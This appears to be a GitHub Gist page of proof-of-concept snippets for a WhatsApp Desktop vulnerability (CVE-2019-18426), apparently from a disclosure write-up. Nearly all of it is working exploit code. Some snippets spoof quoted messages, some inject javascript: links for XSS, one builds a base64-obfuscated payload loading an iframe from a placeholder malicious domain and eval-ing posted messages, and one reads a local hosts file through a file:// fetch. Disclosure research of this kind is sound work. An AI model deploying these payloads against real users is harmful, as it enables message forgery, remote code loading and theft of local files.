Skip to content

Instantly share code, notes, and snippets.

@galpx
galpx / 9.js
Created August 11, 2020 10:07
WhatsApp FS read vuln post CVE-2019-18426
alert(navigator.userAgent);
(async function(){
// read "file:///C:/Windows/System32/drivers/etc/hosts" content
const r = await fetch('file:///C:/Windows/System32/drivers/etc/hosts);
const t = await r.text();
alert(t)
}())
@galpx
galpx / 8.html
Created August 11, 2020 10:07
WhatsApp FS read vuln post CVE-2019-18426
<html>
<head></head>
<body>
<script>
top.postMessage(
JSON.stringify(
"open('https://facebook.com');
alert('external payload');"
),
"*");
@galpx
galpx / 8.js
Created August 11, 2020 10:06
WhatsApp FS read vuln post CVE-2019-18426
<html>
<head></head>
<body>
<script>
top.postMessage(
JSON.stringify(
"open('https://facebook.com');
alert('external payload');"
),
"*");
@galpx
galpx / 7.js
Created August 11, 2020 10:05
WhatsApp FS read vuln post CVE-2019-18426
var payload = `
hard_expire_time.innerHTML +=
'<object data="https://MY_MALICIOUS_DOMAIN/MY_PAYLOAD_IFRAME.html" />';
onmessage=(e)=>{eval(JSON.parse(e.data))};
`;
payload = `javascript:"https://facebook.com";eval(atob("${btoa(payload)}"))`;
e.__x_body = e.__x_matchedText = payload;
@galpx
galpx / 6.js
Created August 11, 2020 10:04
WhatsApp FS read vuln post CVE-2019-18426
e.__x_body = e.__x_matchedText = 'javascript:"https://example.com";alert(document.domain)';
@galpx
galpx / 5.js
Created August 11, 2020 10:03
WhatsApp FS read vuln post CVE-2019-18426
e.__x_body = e.__x_matchedText = "javascript:alert(document.domain)";
@galpx
galpx / 4.js
Created August 11, 2020 10:03
WhatsApp FS read vuln post CVE-2019-18426
e.__x_body = e.__x_matchedText =
"Join Facebook! https://facebook.com+login_oage&welcome_to_facebook=true&timestamp=42837643@bit.ly/2SfZikR Become a friend of mine!";
@galpx
galpx / 3.js
Created August 11, 2020 10:02
WhatsApp FS read vuln post CVE-2019-18426
e.__x_body = e.__x_matchedText = "https://example.com";
@galpx
galpx / 2.js
Created August 11, 2020 10:01
WhatsApp FS read vuln post CVE-2019-18426
e.__x_quotedMsg.body = "I think you are the worst!"; // alter the text
e.__x_quotedStanzaID = e.__x_quotedStanzaID + "_"; // change the id of the original message
@galpx
galpx / 1.js
Created August 11, 2020 10:00
WhatsApp FS read vuln post CVE-2019-18426
e = {
__x_body: "Why would you say that?!",
__x_type: "chat",
__x_quotedMsg: {
body: "I think you are the best!",
type: "chat",
mentionedJidList: [],
isForwarded: false,
labels: [],
},